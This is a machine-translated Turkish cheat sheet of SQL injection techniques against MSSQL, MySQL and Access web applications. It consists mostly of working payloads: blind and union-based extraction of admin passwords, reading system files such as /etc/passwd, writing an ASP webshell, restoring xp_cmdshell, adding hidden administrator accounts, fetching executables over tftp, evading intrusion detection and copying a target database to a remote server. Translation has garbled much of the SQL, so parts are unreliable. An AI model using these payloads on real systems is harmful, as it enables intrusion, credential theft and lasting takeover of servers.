MSSQL çapraz veritabanı sorguları (yiyecek!) Karanlık)
MS SQL'in son damlasını da sıkıştır
SQL ifade referansları ve kayıt seti nesneleri ayrıntılı olarak açıklanır
SQL Server'da depolanmış prosedürler hakkında
mssql yedekleme ile bir webshell oluşturun
SQL_Injection gelişmiş uygulamalar
Cross-site SQL injection (laokai)
Weird SQL Injection (AMANL)
SQL Server uygulamalarında gelişmiş SQL enjeksiyonu
Dizinlerde gezinmek için SQL enjeksiyonu nasıl kullanılır
SQL Enjeksiyon Tekniklerinin Rehberi (Çevirmen: demonalex)
SQL veritabanlarına yönelik bazı saldırılar
SQL Enjeksiyon Saldırı Tekniği (JSW)
SQL_Injection İleri Uygulamalar (APACHY)
SQL Enjeksiyonunun Nadir Yöntemleri (Guilin Veteran)
Bir kabuk yedeği
Php+mysql enjeksiyon ifade yapısı (Heyhehehehe·≯Super· Hey)
MySQL ile Gelişmiş SQL Enjeksiyonu (melek)
L'injection (My)SQL PHP üzerinden
Oracle SQL Dili
SQL manuel enjeksiyon ansiklopedisi
Ön koşullar araçlar gerektirir: SQL Query Analyzer ve SqlExec Sunx Version ============================================================================================== 1. Enjeksiyon noktası olup olmadığını belirleyin ; ve 1=1 ile 1=2 2. Tahmin ediyorum ki tablonun adı sadece admin admin kullanıcı geçiş şifresi vb.: ve 0<>(*'den seç sayı(*) arasında) ve 0<>(admin'den selectcount(*) seç) — Admin tablosunun var olup olmadığını belirleyin 3. Hesap sayısını tahmin edin 0 ile karşılaşırsanız< doğru sayfa 1'e dönün< hesap sayısının 1 olduğunu belirtmek için hata sayfasını geri getirin ve 0<(yöneticiden seçilmiş sayı(*) ve 1<(yöneticiden seçilmiş sayı(*) 4. Alan adını tahmin edin. Len() parantez içinde aklımıza gelen alan adını ekleyin. ve 1=(admin'den count(*) seç, burada len(*)>0)– ve 1=(yöneticiden count(*) seç, burada len(kullanıcı alanı adı adı)>0) ve 1=(yöneticiden count(*) seç, burada len(_blank>parola alanı adı)>0) 5. Her alanın uzunluğunu tahmin et Uzunluğu tahmin et doğru sayfa dönerse >0 dönüştürülecek ve 1=(yöneticiden count(*) seç, burada len(*)>0) ve 1=(yöneticiden count(*) seç, burada len(name)>6) hatası) ve 1=(yöneticiden count(*) seç, burada len(name)>5) Doğru uzunluk 6'dır ve 1=(yöneticiden select(count(*) burada len(name)=6) doğrudur) ve 1=(yöneticiden count(*) seç, burada len(password)>11) doğru ve 1=(yöneticiden select(count(*) burada len(password)>12) hata uzunluğu 12 ve 1=(yöneticiden count(*) seç, burada len(password)=12) doğrudur 6. Karakterleri tahmin et ve 1=(yöneticiden selectcount(*) burada left(name,1)=a) — Kullanıcının hesabının ilk rakamını tahmin et ve 1=(yöneticiden select(*) select(select(count(*) where left(name,2)=ab)—Kullanıcının hesabının ikinci rakamını tahmin et Tahmin etmek için tek bir karakter ekleyin, tahmin ettiğiniz kadar çok rakam tahmin edin, hesap numarası çıkar (1) Tablonun adını tahmin et
Kullanılan cümleler: ve var (tablo adından * seç)
Mesela: ve var (yöneticiden * seç)
Sayfa doğru yankı yapıyorsa, burada tahmin ettiğimiz tablo adının doğru olduğu anlamına gelir ve sayfa yanlışsa, burada yazdığımız tablo adının yanlış olduğu anlamına gelir
, sonra tablonun adını değiştirin ve tahmin etmeye devam edin.
Genellikle, yaygın kullanılan tablo adları admin, yönet, kullanıcı veya aracın çalıştırılmasına koymaktır (2) Alanı tahmin et
Kullanılan cümleler: ve var (tablo adından alan adını seç)
Mesela: ve var (admin'den kullanıcı adını seç)
Burada, yukarıda doğru tahmin ettiğim tablo admin tablosuysa, kullanıcı adı alanının var olup olmadığını belirlemek istiyorum, bu ifadeyi kullanmam gerekiyor, eğer sayfa
Eğer yüz yankısı doğruysa, burada tahmin ettiğimiz alan adının doğru olduğu anlamına gelir ve sayfa yanlışsa, burada yazdığımız alan adının yanlış olduğu anlamına gelir
, sonra alan adını değiştirin ve tahmin etmeye devam edin.
Genel olarak, yaygın alan adları kullanıcı adı, şifre, kullanıcı, geçiş, ad, geçiş, pwd, usr, psd ve diğer alanlar içermektedir (3) Sıra
Sırayla sıra, o sayfadaki alan sayısının toplamını elde etmek, bir sonraki ortak sorgulaya hazırlanmaktır (4) Union Select
1. Ortak sorguyu destekliyorsanız, http://www.xxx.com/product_show.asp?id=1 ve 1=2 birlik seçimini bulun
1,2,3,4,5,6,7,8,9,10,11 Diyelim ki ekran bitleri 5,6. Sonra, sadece yöneticinin kullanıcı adı ve şifresine karşılık gelen alan adlarını, burada görüntü bitinin konumuyla değiştirmemiz yeterli
http://www.xxx.com/product_show.asp?id=1 and 1=2 union select
1,2,3,4,admin_name,admin_pwd,7,8,9,10,11 yöneticiden arka plan girişini buldu 2. Ortak sorgu desteklenmiyorsa Yöneticinin kullanıcı adı ve şifresi, Ascii kelimesi kelimesine çözme kullanılarak ortak sorgulama olmadan alınamaz İki Tablodaki bit sayısını değerlendirmek için sıra ile kullanın, işe yaramazsa Union select ile tek tek düzenleyin, burada 8 bit varsayılır Üç Görüntüleme bitlerini belirlemek için ortak sorgu kullanın Dört Veritabanı adını, veritabanı sürümünü bulmak için görüntüleme bitini kullanın, veritabanı sürümü, 5.0 veya üzeri enjekte edilebilir
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat(database
(),0x5c,user(),0x5c, version()),8 Beş Veritabanı adı ile, tablo adı şemasını = ve ardından veritabanı adının HEX değerini almaya başlayabilir ve tablo adını tahmin edebilirsiniz
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT
+table_name),8 +from+information_schema.columns+where+ table_schema=0x666C6965725F6462617365 Altı Analiz edilen tablo adı, yöneticinin tablo adı=tablo adı için HEX değerini belirler ve tablodaki alanları tahmin eder http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(AYIRT
+column_name),8+ from+information_schema.columns+where+table_name=0x7075625F7765626D6173746572 Yedi Yönetici tablosunda alanları aldıktan sonra, alanların içeriğini alalım http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(AYIRT
+kullanıcı adı, 0x5f,userpwd),8+from+pub_webmaster Sekiz Araç arka planı tarar: Troyanı bulduktan sonra yüklemek için giriş yapın ve eğer robots.txt dosyasını bulamazsanız erişebilirsiniz Dokuz Arka planı bulamazsanız, MYSQL yöneticisinin şifresi açığa çıkar http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat
(kullanıcı,şifre),8+from+mysql.user On Rastgele bir yola erişin, geri bildirim IIS6'nın 404 varsayılan sayfasıdır; bu da web sitesi sunucusunun Windows+IIS6+php+MySql ortamı olduğunu gösterir c:\\windows\\system32\\inetsrv\\MetaBase.xml Bu yol web sitesi yapılandırma bilgilerini alabilir. Oluşturma ifadeleri http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,load_file
(0x633A5C5C77696E646F77735C 5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C),8 On bir Kodu analiz et ve arka plan adresini bulun İlk adımda, tablodaki alanların uzunluğunu almamız gerekiyor Kullanılan ifadeler: ve (tablo adından en üst 1 lens'i (alan adı) seçin)>0 Mesela ne: ve (yöneticiden en iyi 1 lens(admin_name) seçin)>0 Sayfa normal şekilde görüntülenir, admin_name alanının uzunluğu 0'dan büyük ve ben şunları göndereceğim:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 len(admin_name) from admin)>10 Sayfa, alanın 0 ile 10 arasında olduğunu ve uzunluğun 5 olduğunu belirten bir hata gösterir ve dikotomi kullanılarak Aynı yöntemi kullanarak yönetici şifresinin alanının uzunluğunu belirlerken, 16 uzunluğu alıyorum Adım 2 Şimdi ikinci adıma geçelim, alanda belirli bir karakteri alalım ve kullanılan karakterin ASCII kodunu alalım
Açıklama: ve (tablo adından en üst 1 asc(mid(alan adı, N,1)) seçin)>0 Bu cümleyi ayrı ayrı inceleyim, önce en içteki mid(username, 1,1) fonksiyonu, yani admin_name alanının ilk karakteri olan N
ilk birkaç karakterin ele geçirileceğini belirtir, Daha sonra, mid fonksiyonu tarafından kesilen karakterleri ASCII koduna dönüştüren dış asc() fonksiyonu, en üst 1, ilk sıradaki dönüş alanını temsil eder
O zaman bir rekor, Sondaki ">0", dönüştürülmüş ASCII kodunu bu sayıyla karşılaştırmak ve son değeri sürekli değiştirerek kesintiyi elde etmek için kullanılır
Bu karakterin detaylarını öğrenin ASCII kodu Teslimiyet:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)>30 Sayfa normal şekilde gösterilir ve bu karakterin ASCII kodunun 30'dan büyük olduğunu gösterir. Teslimiyet:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)>90 Sayfa normal şekilde gösterilir, bu da bu karakterin ASCII kodunun 90'dan büyük olduğunu gösterir.
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)=97 Bu karakter için bulduğum ASCII kodu 97 ASCII tablosunu karşılaştırın: İlk karakterin "a" olduğu sonucuna varılabilir. Sonra ikinci karakterin ASCII kodunu değerlendireceğim.
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,2,1)) from
admin)>90 Sayfa normal şekilde görüntülenir, bu da karakterin ASCII kodunun 90'tan büyük olduğunu gösterir ve son değer her zaman değişir Aynı yöntem yöneticinin şifresini verdi ve aldığım sonuç şuydu:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_pass,1,1)) from
admin)=52 ve 1=(Admin'den ilk 1 sayı(*) seç, Asc(mid(pas,5,1))=51) – Bu sorgu ifadesi Çinli kullanıcıyı tahmin edip _blank> şifresini tahmin edebilir. Sadece aşağıdaki numaraları Çin ASSIC koduyla değiştirin
Karakterlere dönüştür.
1=1–www.myhack58.com users.id grup users.id grupla, users.username, users.password, users.privs ile 1=1– ; Kullanıcı değerlerine girin( 666, saldırgan, foobar, 0xffff )–
UNION SELECT ILK 1 COLUMN_blank>_NAME INFORMATION_blank>_SCHEMA. SÜTUNLAR
TABLE_blank>_NAME=logintable- UNION SELECT ILK 1 COLUMN_blank>_NAME INFORMATION_blank>_SCHEMA. SÜTUNLAR
TABLE_blank>_NAME=logintable Burada COLUMN_blank>_NAME NOT (login_blank>_id)- UNION SELECT ILK 1 COLUMN_blank>_NAME INFORMATION_blank>_SCHEMA. SÜTUNLAR
TABLE_blank>_NAME=logintable Burada COLUMN_blank>_NAME NOT
(login_blank>_id,login_blank>_name)- UNION LOGINTABLE'dan TOP 1 login_blank>_name SEÇİN- UNION: Giriş tablosundan TOP 1 şifre seç, burada login_blank>_name=Rahul– _blank> sunucusunun oynadığı yamaya bakın = yanlış SP4 patch siyah çubuk güvenlik ağı ve 1=(@@VERSION seç)–
_blank> veritabanı bağlantı hesabının izinlerine bakın, normal döner, bu da _blank> sunucu rolünün sistem yöneticisi izni olduğunu kanıtlar. ve 1=(Select IS_blank>_SRVROLEMEMBER(sysadmin))–
Veritabanı hesabının bağlı _blank> belirleyin. (Bağlantı için SA hesabı kullanın ve normal döndürün = bağlı hesabın SA olduğunu kanıtlayın) ve sa=(Seç System_blank>_user)– ve user_blank>_name()=dbo– ve 0<>(select user_blank>_name()–
Bakın xp_blank>_cmdshell siliyor mu ve 1=(Select count(*) FROM master.dbo.sysobjects Burada xtype = X AND name = xp_blank>_cmdshell)
–
xp_blank>_cmdshell silinmiş, geri yüklenmiş ve mutlak yol kurtarma desteği sağlanmıştır ; YÖNETICI master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll– ; YÖNETICI master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:\inetpub\wwwroot\xplog70.dll– ============================== veritabanı izni, web sitesinin fiziksel yol koduna açıktır
========================================================================== 1、drop tablosu [jm_tmp]; create table [jm_tmp](value navrchar(4000) null,data nvarchar(4000)
null) -- Tablo oluştur
2、 delete [jm_tmp]; [jm_tmp] yönetici master.dbo.xp_regread
'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/'--
Site dizinini tablo alanına ekle
3、and (en iyi 1 cast([data] as nvarchar(4000) char(124) from [jm_tmp] order by [data]
desc)=0 '//Açık alan
4. Tabloyu kaldır [jm_tmp] -- bu tabloyu sil. kabuğu almak için komuta
/c for /r e:\ %i in ("<%eval request("cmd")%>") do @echo %i >>d:\Diğer istasyon yolları ======================load_file() Yaygın olarak kullanılan hassas bilgiler =========================================== 1、 replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32)) Yukarıdaki iki dosya, kodu tam olarak gösteren bir PHP dosyasını görüntülemek içindir. Bazı karakterler değiştirilmediği zamanlar olabilir, örneğin "boşluk" yerine "<" geri döner
Web sayfası. Ve kod görüntülenemiyor.
3. load_file(char(47)) FreeBSD ve Sunos sistemlerinin kök dizinini listeleyebilir
4. Linux APACHE sanal ana bilgisayar yapılandırma dosyasını /etc/httpd/conf/httpd.conf veya /usr/local/apche/conf/httpd.conf adreslerinde görüntüleyin
5. C:\Program Files\Apache Group\Apache\conf\httpd.conf veya C:\apache\conf\httpd.conf ile WINDOWS'u görüntülemek için
System Apache dosyası
6. c:/Resin-3.0.14/conf/resin.conf jsp tarafından geliştirilen web sitesinin reçine dosyası yapılandırma bilgilerini inceleyin.
7. c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf Linux sisteminde yapılandırılmış JSP sanal ana bilgisayarını görüntülemek için
8、d:\APACHE\Apache2\conf\httpd.conf
9、C:\Program Files\mysql\my.ini
10、.. /themes/darkblue_orange/layout.inc.php phpmyadmin patlama yolu
11. C:\Windows\system32\inetsrv\MetaBase.xml IIS'nin sanal host yapılandırma dosyasını görüntüleyin
12. /usr/local/resin-3.0.22/conf/resin.conf için 3.0.22 için RESIN yapılandırma dosyasını görüntülemek için
13. /usr/local/resin-pro-3.0.22/conf/resin.conf Yukarıdakilerle aynı
14. /usr/local/app/apache2/conf/extratpd-vhosts.conf APASHE sanal sunucusu
15. /etc/sysconfig/iptables güvenlik duvarı politikasına bağlıdır
16. /usr/local/app/php5 b/php.ini PHP eşdeğer ayarları
17. /etc/my.cnf MYSQL yapılandırma dosyası
18. /etc/Red Hat'in redhat sürüm sistemi versiyonu
19 、C:\mysql\data\mysql\user. MYD, MYSQL sistemindeki kullanıcı şifresinde bulunur
20. /etc/sysconfig/network-scrip{filter}ts/ifcfg-eth0 ile IP görüntülemek için.
21. /usr/local/app/php5 b/php.ini //PHP ile ilgili ayarlar
22. /usr/local/app/apache2/conf/extratpd-vhosts.conf // sanal web sitesi ayarları
23、c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
24、c:\windows\my.ini
25. /etc/issue Linux çekirdeğinin dağıtım bilgilerini gösterir
26、/etc/ftpuser
27. LINUX user.bash_history veya .bash_profile altında işlem kayıt dosyasını kontrol edin
28、/etc/ssh/ssh_config
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
/var/log/access_log
/var/log/access.log
/etc/mail/access
/etc/my.cnf
/var/run/utmp
/var/log/wtmp .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/error_log .. /apache/logs/error.log .. /apache/logs/access.log .. /.. /apache/logs/error.log .. /.. /apache/logs/access.log .. /.. /.. /apache/logs/error.log .. /.. /.. /apache/logs/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/error_log
/var/log/httpd/access_log
/var/log/httpd/error_log .. /apache/logs/error.log .. /apache/logs/access.log .. /.. /apache/logs/error.log .. /.. /apache/logs/access.log .. /.. /.. /apache/logs/error.log .. /.. /.. /apache/logs/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/access_log
/var/log/error_log ======================================================== Kendiniz ters PING deneyi yapın ; Usta kullanın; declare @s int; exec sp_blank>_oacreate "wscrip{filter}t.shell", @s out; yönetici
sp_blank>_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1"; –
Hesap ekle ;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD
@shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add–
Bir sanal dizin E-disk oluşturun: ; declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,
NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "default website" -v "e","e:\"–
Erişim özellikleri: (bir webshell'e yazma ile) declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,
NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse
Kütüphaneyi patlatmak için özel _blank> numara: :%5c=\ veya %5'i / ve \ ile değiştirerek commit ve 0<>(newtable'dan ilk 1 yolu seç)–
Veritabanı adını alın (1'den 5'e kadar sistemin ID'leridir ve 6'nın üzerinde değerlendirebilirsiniz) ve 1=(master.dbo.sysdatabases'ten adını seç, burada dbid=7)– ve 0<>(master.dbo.sysdatabases'ten count(*) seç, burada name>1 ve dbid=6) Dbid'i sırayla gönder = 7,8,9.... Daha fazla _blank> veritabanı adı alın
ve 0<>(bbs.dbo.sysobjects'ten en üst 1 adı seç, burada xtype=U) bir tabloya girer ve admin varsayılır ve 0<>(bbs.dbo.sysobjects'ten en üst 1 isim seçilir, burada xtype=u ve ismi (Admin)'de yoktur).
Diğer masalar. ve 0<>(bbs.dbo.sysobjects'ten say(*) seç, burada xtype=u ve admin=admin ve uid>(str(id))) UID'nin sayısal değeri 18779569 uid=id olarak kabul edilir. ve 0<>(bbs.dbo.syscolumns'tan ilk 1 adı seç, burada id=18779569) admin alanını alır, false
Ayarlandı user_blank>_id ve 0<>(bbs.dbo.syscolumns'tan üst 1 isim seçin, burada id=18779569 ve ad içinde değil (id,...)) diğer alanları ortaya çıkarmak için ve kullanıcı adını almak için 0<(BBS.dbo.admin'den kullanıcı adı >1 olan user_blank>_id seçin) Karşılığında _blank> şifre alabilirsiniz。。。。。 Diyelim ki user_blank>_id kullanıcı adı, şifre gibi alanlar var
ve 0<>(master.dbo.sysdatabases'ten count(*) seç, burada name>1 ve dbid=6) ve 0<>(bbs.dbo.sysobjects sayfasından en üst 1 adı seçin, burada xtype=U) tablo adını elde etmek için ve 0<>(bbs.dbo.sysobjects'ten en üst 1 adı seçin, burada xtype=u ve isim inde değil(Adres)) ve 0<>(bbs.dbo.sysobjects'ten count(*) seç, burada xtype=u ve name=admin ve uid>(str(id)))
Id değerini belirleyin ve 0<>(BBS.dbo.syscolumns'tan üst 1 adı seçin, burada id=773577794) tüm alanlar
?id=-1 Yönetici Sendika Seç 1,2,3,4,5,6,7,8,9,10,11,12,13,* ?id=-1 Union Select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 admin'den (Union, Access da kullanımı kolay)
WEB yolunu alın ; Tablo oluştur [dbo]. [değişim] ([swappass][char](255)); – ve (swap'tan en iyi 1 swappass seçeneği)=1– ; Create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec
Usta.. xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SISTEM
\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/, values=@test
ÇIKIŞ yol(yol) değerleri(@test)– ; KU1 kullanın; – ; tablo komutu oluşturma (str görsesi); – Görüntü türünde bir tablo komutanı oluşturun 1. xp_cmdshell uzatma sürecini kaldırmanın yolu aşağıdaki ifadeyi kullanmaktır:
eğer varsa (dbo.sysobjects içinden * seç, burada id=object_id(N'[dbo].[ xpcmdshell]') ve
OBJECTPROPERTY(id,N'IsExtendedProc')=1) yönetici sp_dropextendedproc N'[dbo]. [xp_cmdshell]'
2. Uzatma sürecini eklemenin yolu xp_cmdshell ifadeyi kullanmaktır:
(1)SQL Sorgu Analizörü
sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
(2) Öncelikle, SqlExec Sunx Versiyonunun Format seçeneğine %s doldurun ve CMD seçeneğine girin
sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
kaldır
sp_dropextendedproc 'xp_cmdshell'
(3)MSSQL2000
sp_addextendedproc 'xp_cmdshell', 'xplog70.dll' Test süreçleri xp_blank>_cmdshell: ; Yönetici Üsta.. xp_blank>_cmdshell yönetmen ; yönetici master.dbo.sp_blank>_addlogin jiaoniang$; – SQL hesapları ekleyin ; yönetici master.dbo.sp_blank>_password null, jiaoniang$1866574; – ; yönetici master.dbo.sp_blank>_addsrvrolemember jiaoniang$ sistem yöneticisi; – ; exec master.dbo.xp_blank>_cmdshell net kullanıcı jiaoniang$ 1866574 /workstations:* /times:all
/passwordchg:yes /passwordreq:yes /active:yes /add;– ; exec master.dbo.xp_blank>_cmdshell net localgroup yöneticileri jiaoniang$ /add; – Yönetici Üsta.. xp_blank>_servicecontrol başla, _blank> hizmete başlamayı planlayın Yönetici Üsta.. xp_blank>_servicecontrol başlat, sunucu ; DECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD
@shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add ;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD
@shell,run,null, C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add ; Yönetici Üsta.. xp_blank>_cmdshell tftp -i youip get file.exe – TFTP ile dosya yükle
; declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\ ; Declare @a sysname set @a=XP+_blank>_cm'+'dshell exec @a dir c:\ ; @a ilan et; küme @a=db_blank>_name(); yedek veritabanı disk=IP adresinize @a Paylaşılan dizininiz bak.dat Kısıtlanırsa evet. openrowset(_blank>sqloledb,server; sa; ,OK seçin! yönetici
master.dbo.sp_blank>_addlogin hax)
Sorgu Yapısı: * FROM haberleri seç Where id=... VE konu=... VE ..... adminand 1=([kullanıcı] içinden count(*) seç, burada kullanıcı adı=kurban ve right(left(userpass,01),1)=1)
ve userpass <> 123 Seçin; – ; Usta kullanın; – :a veya fff% gibi bir isim; – Ffff adında bir kullanıcı gösteriliyor. ve 1<>([kullanıcı]'dan seç sayısı(e-posta); – ; Güncelleme [Kullanıcılar] E-posta=(sysobjects'ten en üst 1 adı seçin, burada xtype=U ve durum>0) burada
isim=ffff; – ; Güncelleme [Kullanıcılar] E-posta=(sysobjects'ten en üst 1 ID'yi seç, burada xtype=U ve ad=ad) burada
isim=ffff; – ; Update [Users] Set email=(sysobjects'ten en üst 1 adı seçin, burada xtype=You ve id>581577110)
burada isim=ffff; – ; güncelleme [kullanıcılar] ayarla e-posta=(şifreden en üst 1 sayı(id) seçin) burada isim=ffff; – ; Güncelleme [Kullanıcılar] E-posta=(Şifreden en üst 1 PWD seçin, burada ID=2) Burada isim=ffff; – ; güncelleme [kullanıcılar] e-posta=(şifreden en üst 1 isim seçin, burada id=2) nerede isim=ffff; – Yukarıdaki ifade, _blank> veritabanında ilk kullanıcı tablosunu alıp ffff kullanıcısının e-posta alanına tablo adını koymaktır. ffff'nin kullanıcı profilini inceleyerek, AD adlı ilk tabloyu elde edebilirsiniz Sonra bu tablonun adını alın, ikinci tablonun adını almak için tablo adı reklamına göre
user values içine girin( 666, char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73),
char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73), 0xffff)– Kullanıcı değerlerine girin( 667,123,123,0xffff)– Kullanıcı değerlerine (123, admin–, şifre, 0xffff)– ; ve kullanıcı>0 ; ve (sysobjects'ten count(*) seç)>0 ; ve (mysysobjects'ten count(*) seç)>0 // access_blank> veritabanı için
Veri tablosunun adını sayın ; AAA setini güncelle aaa=(sysobjects'ten en üst 1 adı seç, burada xtype=U ve status>0); – İşte burada ilk tablo adı AAA alanına güncellenir. İlk tabloyu okuyun, ikinci tablo ise şu şekilde okunabilir (koşulun ardından ekle ve isim<> az önce aldığınız tablonun adını). ; AAA setini güncelle aaa=(sysobjects'ten en üst 1 adı seç, burada xtype=U ve status>0 ve
isim<>oy); – Sonra id=1552 ve var (aaa'dan * seç, burada aaa>5) İkinci tabloyu okuyun ve tek teker okuyun, ta ki hiç kalmayana kadar. Okuma alanı şöyle görünüyor: ; AAA setini güncelle aaa=(Top 1'i seç col_blank>_name(object_blank>_id(tablo adı),1)); – Sonra id=152 ve var (aaa'dan * seç, burada aaa>5) hata alır ve alan adını alır ; AAA setini güncelle aaa=(en üst 1'i seç col_blank>_name(object_blank>_id(tablo adı),2)); – Sonra id=152 ve var (aaa'dan * seç, burada aaa>5) hata alır ve alan adını alır
[Veri Tablosu Adını Alın] [Alan değerini tablo adına güncelledin ve ardından bu alanın değerini okuyun, böylece tablo adını alın] Table Name set field=(sysobjects'ten en üst 1 adı seç, burada xtype=U ve status>0 [ ve name<>
Aldığınız tablo adı: Bir artı bir bul]) [ koşul yerinde] sysobjects'ten en üst 1 adı seçin, burada xtype=siz ve
status>0 ve isim (table1,table2,...) içinde değil Veritabanı yöneticisi hesabı ve sistem yöneticisi hesabı oluşturmak, SQLSERVER üzerinden _blank> _blank> güvenlik açığı enjeksiyonu [Mevcut hesap SYSADMIN grubu olmalı]
[Veri Tablosu Alan Adını Alın] [Alan değerini alan adına güncelleyin ve sonra bu alanın değerini okuyarak alan adını alın] Tablo adını güncelle seti alan=(en üst 1'i seç col_blank>_name(object_blank>_id (veri tablosu adı sorguya), alan sütunu
Örneğin: 1) [ koşul yerinde]
IDS Tespitini Atlama [Değişkenler Kullanılarak] ; declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\ ; Declare @a sysname set @a=XP+_blank>_cm'+'dshell exec @a dir c:\
1. Uzak _blank> veritabanını açın Temel sözdizimi OPENROWSET(SQLOLEDB, server=servername; uid=sa; pwd=123, tablo 1'den * seç ) Parametreler: (1) OLEDB Sağlayıcı adı 2. Bağlantı dizisi parametresi, bağlanacak herhangi bir porttan olabilir, örneğin OPENROWSET(SQLOLEDB, uid=sa; pwd=123; Network=DBMSSOCN; Adres=192.168.0.1,1433; ,
Tablodan * seç 3. Hedef ana bilgisayarın tüm _blank> veritabanını kopyalayın ve tüm uzak tabloları yerel tabloya ekleyin.
Temel sözdizim: insert into OPENROWSET(SQLOLEDB, server=servername; uid=sa; pwd=123, tablodan * seç) seç
* Tablo 2'den Bu satır ifadesi, hedef ana bilgisayardaki table2 tablosundan tüm verileri uzak _blank> veritabanındaki table1 tablosuna kopyalar. Pratik uygulamada uygun onarımlar
Bağlantı dizisinin IP adresini ve portunu ihtiyacınız olan yere yönlendirecek şekilde değiştirin, örneğin: insert into OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Adres=192.168.0.1,1433; ,seç
